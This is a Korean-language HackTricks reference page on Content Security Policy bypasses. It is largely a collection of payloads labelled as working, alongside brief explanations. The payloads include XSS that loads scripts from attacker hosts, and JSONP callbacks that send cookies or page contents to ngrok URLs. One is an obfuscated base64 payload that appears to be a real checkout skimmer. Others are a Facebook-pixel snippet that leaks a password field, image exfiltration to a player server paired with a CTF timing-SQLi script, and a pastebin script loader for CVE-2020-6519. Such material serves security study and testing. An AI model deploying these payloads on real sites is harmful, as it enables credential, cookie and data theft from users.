Content Security Policy (CSP) Bypass
Reading time: 30 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
CSP란 무엇인가
Content Security Policy (CSP)은 주로 cross-site scripting (XSS)와 같은 공격으로부터 방어하기 위한 브라우저 기술로 알려져 있습니다. 브라우저가 안전하게 로드할 수 있는 경로와 출처를 정의하고 명시함으로써 동작합니다. 이러한 리소스에는 이미지, 프레임, JavaScript 등 다양한 요소가 포함됩니다. 예를 들어, 정책은 같은 도메인 (self)으로부터의 리소스 로드 및 실행을 허용할 수 있으며, 인라인 리소스와 eval
, setTimeout
, setInterval
과 같은 함수로 문자열 코드를 실행하는 것을 포함할 수 있습니다.
CSP는 **응답 헤더(response headers)**를 통해 구현되거나 HTML 페이지에 meta 요소를 삽입하는 방식으로 적용됩니다. 브라우저는 이 정책을 기반으로 규정을 강제하며, 위반이 감지되면 즉시 차단합니다.
- 응답 헤더를 통해 구현:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- meta tag로 구현됨:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP는 다음 헤더로 강제하거나 모니터링할 수 있습니다:
Content-Security-Policy
: CSP를 강제합니다; 브라우저가 위반을 차단합니다.Content-Security-Policy-Report-Only
: 모니터링용으로 사용되며, 위반을 차단하지 않고 보고만 합니다. 프로덕션 이전 환경에서 테스트할 때 이상적입니다.
Defining Resources
CSP는 액티브 및 패시브 콘텐츠 로딩의 출처를 제한하여 inline JavaScript 실행과 eval()
사용 같은 항목을 제어합니다. 예제 정책은:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
지시자
- script-src: JavaScript에 대해 특정 소스(예: URLs, 인라인 script, 이벤트 핸들러나 XSLT 스타일시트에 의해 트리거되는 스크립트 등)를 허용합니다.
- default-src: 특정 fetch 지시자가 없을 때 리소스 가져오기에 대한 기본 정책을 설정합니다.
- child-src: web workers와 임베디드 프레임 콘텐츠에 허용되는 리소스를 지정합니다.
- connect-src: fetch, WebSocket, XMLHttpRequest 같은 인터페이스로 로드할 수 있는 URL을 제한합니다.
- frame-src: 프레임에 대한 URL을 제한합니다.
- frame-ancestors: 현재 페이지를 임베드할 수 있는 출처를 지정합니다(예: ,
- img-src: 이미지에 대해 허용되는 출처를 정의합니다.
- font-src:
@font-face
로 로드되는 폰트의 유효한 출처를 지정합니다. - manifest-src: 애플리케이션 manifest 파일의 허용 출처를 정의합니다.
- media-src: 미디어 객체를 로드할 때 허용되는 출처를 정의합니다.
- object-src:
<object>
,<embed>
,<applet>
요소에 대해 허용되는 출처를 정의합니다. - base-uri:
<base>
요소를 통해 로드할 수 있는 허용 URL을 지정합니다. - form-action: 폼 제출에 대한 유효한 엔드포인트를 나열합니다.
- plugin-types: 페이지가 호출할 수 있는 mime 타입을 제한합니다.
- upgrade-insecure-requests: 브라우저에게 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
- sandbox:
<iframe>
의 sandbox 속성과 유사한 제한을 적용합니다. - report-to: 정책이 위반될 경우 리포트를 보낼 그룹을 지정합니다.
- worker-src: Worker, SharedWorker, 또는 ServiceWorker 스크립트에 대한 유효한 출처를 지정합니다.
- prefetch-src: 미리 가져오거나 프리페치할 리소스의 유효한 출처를 지정합니다.
- navigate-to: 문서가 어떤 수단(a, form, window.location, window.open 등)으로든 이동할 수 있는 URL을 제한합니다.
소스
*
:data:
,blob:
,filesystem:
스킴을 제외한 모든 URL을 허용합니다.'self'
: 동일 도메인에서의 로드를 허용합니다.'data'
: data 스킴을 통해 리소스 로드를 허용합니다(예: Base64 인코딩된 이미지).'none'
: 어떤 출처로부터의 로드도 차단합니다.'unsafe-eval'
:eval()
및 유사 메서드의 사용을 허용합니다(보안상 권장되지 않음).'unsafe-hashes'
: 특정 인라인 이벤트 핸들러를 가능하게 합니다.'unsafe-inline'
: 인라인<script>
나<style>
같은 인라인 리소스의 사용을 허용합니다(보안상 권장되지 않음).'nonce'
: 암호학적 nonce(한 번만 사용되는 숫자)를 사용해 특정 인라인 스크립트를 화이트리스트화합니다.- JS 실행이 제한된 경우 페이지 내에서 사용된 nonce를
doc.defaultView.top.document.querySelector("[nonce]")
로 얻어 악성 스크립트 로드에 재사용할 수 있습니다(만약 strict-dynamic이 사용된 경우, 어떤 허용된 출처도 새로운 출처를 로드할 수 있으므로 이 방법이 필요 없을 수 있음), 예:
nonce 재사용하여 script 로드
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: 특정 sha256 해시를 가진 스크립트를 화이트리스트에 올립니다.'strict-dynamic'
: nonce 또는 hash로 화이트리스트된 경우 모든 출처의 스크립트 로드를 허용합니다.'host'
: 특정 호스트를 지정합니다(예:example.com
).https:
: HTTPS를 사용하는 URL로 제한합니다.blob:
: Blob URL(예: JavaScript로 생성된 Blob URL)에서 리소스를 로드할 수 있게 합니다.filesystem:
: filesystem에서 리소스를 로드할 수 있게 합니다.'report-sample'
: 위반 리포트에 위반 코드의 샘플을 포함합니다(디버깅에 유용).'strict-origin'
: 'self'와 유사하지만 출처의 프로토콜 보안 수준이 문서와 일치하는지 보장합니다(보안 출처만 보안 출처에서 리소스를 로드할 수 있음).'strict-origin-when-cross-origin'
: 동일 출처 요청 시 전체 URL을 전송하지만, 교차 출처 요청 시에는 출처(origin)만 전송합니다.'unsafe-allow-redirects'
: 즉시 다른 리소스로 리다이렉트되는 리소스의 로드를 허용합니다. 보안을 약화시키므로 권장되지 않습니다.
Unsafe CSP Rules
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
동작하는 payload: "/><script>alert(1);</script>
Iframes를 통한 self + 'unsafe-inline'
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
작동하지 않습니다. 자세한 내용은 check this.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
작동하는 payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
만약 어떤 식으로든 허용된 스크립트가 DOM에서 당신의 JS 코드로 새 script tag를 생성하게 만들 수 있다면, 허용된 스크립트가 그것을 생성했기 때문에 그 새 script tag는 실행이 허용됩니다.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
작동하는 payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
object-src와 default-src의 부재
[!CAUTION] > 더 이상 작동하지 않는 것으로 보입니다
Content-Security-Policy: script-src 'self' ;
작동하는 페이로드:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
파일 업로드 + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:
작동하는 payload:
"/>'><script src="/uploads/picture.png.js"></script>
그러나 서버는 업로드된 파일을 검증하고 특정 파일 형식만 업로드 허용할 가능성이 매우 높습니다.
게다가 서버에서 허용하는 확장자(예: script.png)를 사용해 파일 안에 JS code inside를 업로드할 수 있더라도, 일부 서버(예: apache server)는 파일의 MIME type을 확장자 기반으로 선택하고 Chrome 같은 브라우저는 이미지여야 할 파일 내부의 Javascript 코드를 실행 거부하기 때문에 충분하지 않습니다. 다행히도 실수가 존재합니다. 예를 들어 CTF에서 배운 바로는 Apache doesn't know .wave 확장자를 알지 못해, 그 파일을 audio/* 같은 MIME type으로 서빙하지 않습니다.
따라서 XSS와 파일 업로드를 발견하고 misinterpreted extension을 찾아낼 수 있다면, 그 확장자를 가진 파일과 스크립트 내용을 업로드해볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 포맷을 검사한다면, polyglot을 생성해보세요 (some polyglot examples here).
Form-action
JS를 주입할 수 없는 경우에도 예를 들어 자격 증명을 유출하기 위해 injecting a form action(비밀번호 관리자가 자동 완성해줄 것으로 기대하면서)을 시도해볼 수 있습니다. example in this report에서 예를 확인할 수 있습니다. 또한 default-src
는 form actions를 포함하지 않는다는 점에 유의하세요.
Third Party Endpoints + ('unsafe-eval')
warning
다음 중 일부 payload의 경우 unsafe-eval
조차 필요하지 않습니다.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
취약한 버전의 angular를 로드하고 임의의 JS를 실행:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Angular + window
객체를 반환하는 함수를 가진 library를 이용한 Payloads (check out this post):
tip
이 포스트는 cdn.cloudflare.com
(또는 허용된 다른 JS libraries repo)에서 모든 libraries를 load하고, 각 library에서 추가된 모든 함수를 실행하여 어떤 라이브러리의 어떤 함수들이 window
객체를 반환하는지 확인할 수 있다고 보여줍니다.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
클래스 이름에서의 Angular XSS:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
google recaptcha JS code 악용
this CTF writeup에 따르면 https://www.google.com/recaptcha/을 CSP 내에서 악용해 CSP를 우회하여 임의의 JS 코드를 실행할 수 있습니다:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
더 많은 payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
www.google.com을 이용한 open redirect 악용
다음 URL은 example.com으로 리다이렉트됩니다 (출처: here):
https://www.google.com/amp/s/example.com/
Abusing *.google.com/script.google.com
Google Apps Script를 악용하면 script.google.com 내부 페이지에서 정보를 받을 수 있다. Like it's done in this report.
Third Party Endpoints + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
이와 같은 시나리오에서 script-src
가 self
로 설정되고 특정 도메인이 화이트리스트에 포함된 경우, JSONP를 사용해 우회할 수 있습니다. JSONP 엔드포인트는 insecure callback methods를 허용하여 공격자가 XSS를 수행할 수 있게 합니다. working payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee 은 다양한 웹사이트의 CSP bypass에 사용할 수 있는 준비된 JSONP 엔드포인트를 포함합니다.
동일한 취약점은 trusted endpoint contains an Open Redirect 경우에도 발생합니다. 초기 endpoint가 신뢰되는 경우 리디렉션도 신뢰되기 때문입니다.
서드파티 악용
다음 글(following post)에 설명된 바와 같이, CSP 어느 곳에 허용되어 있을 수 있는 많은 서드파티 도메인이 있으며, 이는 데이터를 exfiltrate하거나 JavaScript 코드를 execute하는 데 악용될 수 있습니다. 일부 서드파티는 다음과 같습니다:
Entity | Allowed Domain | Capabilities |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
타겟의 CSP에서 위 허용 도메인 중 하나를 발견하면, 서드파티 서비스에 등록하여 해당 서비스로 데이터를 exfiltrate하거나 코드를 실행하여 CSP를 우회할 수 있을 가능성이 큽니다.
For example, if you find the following CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
또는
Content-Security-Policy: connect-src www.facebook.com;
You should be able to exfiltrate data, similarly as it has always be done with Google Analytics/Google Tag Manager. In this case, you follow these general steps:
- 여기에서 Facebook Developer 계정을 생성하세요.
- 새로운 "Facebook Login" 앱을 만들고 "Website"를 선택하세요.
- "Settings -> Basic"으로 이동하여 "App ID"를 확인하세요.
- 대상 사이트에서 exfiltrate data를 하려면, Facebook SDK 가젯 "fbq"를 통해 "customEvent"와 데이터 페이로드를 직접 사용하면 됩니다.
- 자신의 App의 "Event Manager"로 이동하여 생성한 애플리케이션을 선택하세요 (참고: event manager는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- "Test Events" 탭을 선택하여 "your" 웹 사이트에서 전송되는 이벤트를 확인하세요.
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
이전 표에 명시된 나머지 일곱 개의 서드파티 도메인에 대해서는, 이를 악용할 수 있는 다른 방법이 많이 있습니다. 다른 서드파티 악용에 대한 추가 설명은 이전 블로그 게시물을 참조하세요.
RPO (Relative Path Overwrite)를 통한 우회
앞서 언급한 경로 제한 우회용 리디렉션 외에도, 일부 서버에서 사용할 수 있는 Relative Path Overwrite (RPO)라는 또 다른 기술이 있습니다.
예를 들어, CSP가 경로 https://example.com/scripts/react/
를 허용한다면, 다음과 같이 우회할 수 있습니다:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
브라우저는 결국 https://example.com/scripts/angular/angular.js
를 로드합니다.
이것은 브라우저 관점에서 https://example.com/scripts/react/
아래에 위치한 ..%2fangular%2fangular.js
라는 파일을 로드하고 있기 때문에 동작하며, 이는 CSP에 부합합니다.
따라서 브라우저는 이를 디코딩하여 실제로 https://example.com/scripts/react/../angular/angular.js
를 요청하게 되고, 이는 https://example.com/scripts/angular/angular.js
와 같습니다.
이 URL 해석의 불일치를 악용함으로써 브라우저와 서버 간의 경로 규칙을 우회할 수 있습니다.
해결책은 서버 사이드에서 %2f
를 /
로 처리하지 않는 것이며, 브라우저와 서버 간 해석을 일치시켜 이 문제를 방지하는 것입니다.
Online Example: https://jsbin.com/werevijewa/edit?html,output
Iframes JS 실행
누락된 base-uri
만약 base-uri 디렉티브가 없으면 dangling markup injection을(를) 이용해 공격할 수 있습니다.
또한, 페이지가 상대 경로로 스크립트를 로드하고 있는 경우(예: <script src="/js/app.js">
) Nonce를 사용하고 있다면, base tag를 조작해 스크립트를 your own server에서 로드하도록 만들어 XSS를 달성할 수 있습니다.
만약 취약한 페이지가 httpS로 로드된다면, base에 httpS URL을 사용하세요.
<base href="https://www.attacker.com/" />
AngularJS 이벤트
Content Security Policy (CSP)로 알려진 특정 정책이 JavaScript 이벤트를 제한할 수 있다. 그러나 AngularJS는 대안으로 사용자 정의 이벤트를 도입한다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 가리키는 고유한 객체 $event
를 제공한다. 이 $event
객체는 CSP를 우회하는 데 이용될 수 있다. 특히 Chrome에서 $event
/event
객체는 이벤트 실행 체인에 관여하는 객체 배열을 보관하는 path
속성을 가지며, 그 배열의 마지막에는 항상 window
객체가 위치한다. 이 구조는 sandbox escape에 중요하다.
orderBy
filter에 이 배열을 전달하면 배열을 순회할 수 있고, 마지막 요소(window
객체)를 이용해 alert()
같은 전역 함수를 호출할 수 있다. 아래의 코드 스니펫이 이 과정을 보여준다:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
이 스니펫은 이벤트를 트리거하기 위해 ng-focus
디렉티브의 사용을 강조하며, $event.path|orderBy
로 path
배열을 조작하고, window
객체를 이용해 alert()
함수를 실행하여 document.cookie
를 노출합니다.
다른 Angular bypasses는 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet에서 확인하세요
AngularJS 및 whitelisted domain
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Angular JS 애플리케이션에서 스크립트 로드를 위해 도메인을 화이트리스트하는 CSP 정책은 콜백 함수 호출과 특정 취약 클래스의 악용을 통해 우회될 수 있습니다. 이 기법에 대한 자세한 정보는 이 git repository에 있는 상세 가이드를 참조하세요.
Working payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Other JSONP 임의 실행 엔드포인트는 here에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다)
리디렉션을 통한 우회
CSP가 서버 측 리디렉션을 만나면 어떻게 될까요? 리디렉션이 허용되지 않은 다른 origin으로 이어지면, 여전히 실패합니다.
그러나 CSP spec 4.2.2.3. Paths and Redirects의 설명에 따르면, 리디렉션이 다른 경로로 이어질 경우 원래의 제한을 우회할 수 있습니다.
다음은 예시입니다:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
만약 CSP가 https://www.google.com/a/b/c/d
로 설정되어 있으면, 경로가 고려되기 때문에 /test
와 /a/test
스크립트는 CSP에 의해 차단됩니다.
하지만 최종적으로 http://localhost:5555/301
은 서버 사이드에서 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
로 리디렉션됩니다. 리디렉션이기 때문에 경로는 고려되지 않으며, 스크립트를 로드할 수 있으므로 경로 제한을 우회합니다.
이러한 리디렉션이 있으면, 경로가 완전히 지정되어 있어도 여전히 우회됩니다.
따라서 가장 좋은 해결책은 웹사이트에 open redirect 취약점이 없도록 하고, CSP 규칙에 악용될 수 있는 도메인이 포함되지 않도록 하는 것입니다.
Bypass CSP with dangling markup
자세한 방법은 how here에서 읽어보세요.
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
은 코드 내부의 어떤 스크립트든 실행할 수 있다는 의미입니다 (XSS는 코드를 실행할 수 있습니다) 그리고 img-src *
는 웹페이지에서 모든 리소스의 이미지를 사용할 수 있다는 의미입니다.
이 CSP는 이미지를 통해 데이터를 유출하여 우회할 수 있습니다 (이 경우 XSS는 bot이 접근 가능한 페이지에 SQLi가 있는 CSRF를 악용하고, 이미지를 통해 플래그를 추출합니다):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
출처: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
이 구성은 이미지 안에 삽입된 javascript 코드를 로드하도록 악용할 수도 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용한다면, 당신은 특수한 이미지를 제작해 Twitter에 업로드하고 "unsafe-inline"을 악용해 일반적인 XSS처럼 JS 코드를 실행시킬 수 있습니다. 그 코드는 이미지를 로드하고, 그 안에서 JS를 추출해 실행합니다: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
With Service Workers
Service workers importScripts
function은 CSP의 제한을 받지 않습니다:
Policy Injection
Research: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
만약 당신이 보낸 parameter가 declaration 내부에 pasted inside 된다면, policy를 어떤 식으로든 alter하여 쓸모없게 만들 수 있습니다. 다음과 같은 우회 방법들로 **allow script 'unsafe-inline'**를 허용할 수 있습니다:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
이 지시문은 기존의 script-src 지시문을 덮어씁니다.
예시는 다음에서 확인할 수 있습니다: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
Edge에서는 훨씬 간단합니다. CSP에 이것만 추가할 수 있다면: ;_
Edge는 전체 정책을 무시합니다.
예시: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; XSS (iframe)를 통한 시간 기반 공격
지시문 'unsafe-inline'
의 부재에 주목하세요.
이번에는 XSS로 <iframe>
을 통해 피해자가 당신이 제어하는 페이지를 로드하게 만들 수 있습니다. 이번에는 피해자가 정보를 추출하려는 페이지에 접근하도록 만들 것입니다 (CSRF). 페이지의 내용을 직접 볼 수는 없지만, 만약 페이지가 로드되는 데 걸리는 시간을 제어할 수 있다면 필요한 정보를 추출할 수 있습니다.
이번에는 flag가 추출됩니다. SQLi로 char가 올바르게 추측될 때마다 response는 sleep 함수 때문에 더 오래 걸립니다. 그러면 flag를 추출할 수 있습니다:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
Bookmarklets를 통한
이 공격은 공격자가 사용자를 설득해 브라우저의 bookmarklet 위로 링크를 드래그하여 놓도록 하는 일부 social engineering을 수반합니다. 이 bookmarklet은 악의적인 javascript 코드를 포함하고 있으며, drag&dropped되거나 클릭되면 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 cookies나 tokens 같은 민감한 정보를 탈취할 수 있게 합니다.
For more information check the original report here.
CSP bypass — CSP를 제한하여
In this CTF writeup, CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via prototype pollution or dom clobbering allowed to abuse a different script to load an arbitrary script.
Iframe의 CSP를 제한하려면 csp
속성을 사용할 수 있습니다:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
In this CTF writeup에서는 HTML injection을 통해 CSP를 더 엄격하게 제한할 수 있었고, CSTI를 방지하는 스크립트가 비활성화되어 결과적으로 취약점이 악용 가능해졌다.
CSP는 HTML meta tags를 사용해 더 제한적으로 설정할 수 있으며, inline scripts는 그들의 nonce를 허용하던 항목을 제거하여 비활성화할 수 있고, 특정 inline script는 sha를 통해 허용할 수 있다:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltration with Content-Security-Policy-Report-Only
서버가 Content-Security-Policy-Report-Only
헤더로 당신이 제어하는 값을 응답하도록 만들 수 있다면(예: CRLF 때문에), 해당 헤더를 당신의 서버로 향하게 할 수 있습니다. 그리고 유출하려는 JS content를 **<script>
**로 감싸면, CSP에서 unsafe-inline
이 허용되지 않았을 가능성이 높기 때문에 이것이 CSP error를 유발하고, 스크립트의 일부(민감한 정보를 포함한 부분)가 Content-Security-Policy-Report-Only
를 통해 서버로 전송됩니다.
For an example check this CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking Information with CSP and Iframe
iframe
가 생성되어 CSP에서 허용된 URL(예:https://example.redirect.com
)을 가리킵니다.- 이 URL은 이후 허용되지 않는 CSP 대상인 비밀 URL(예:
https://usersecret.example2.com
)로 리다이렉트됩니다. securitypolicyviolation
이벤트를 수신(listen)하면blockedURI
속성을 캡쳐할 수 있습니다. 이 속성은 차단된 URI의 도메인을 드러내어, 초기 URL이 리다이렉트한 비밀 도메인을 leaking합니다.
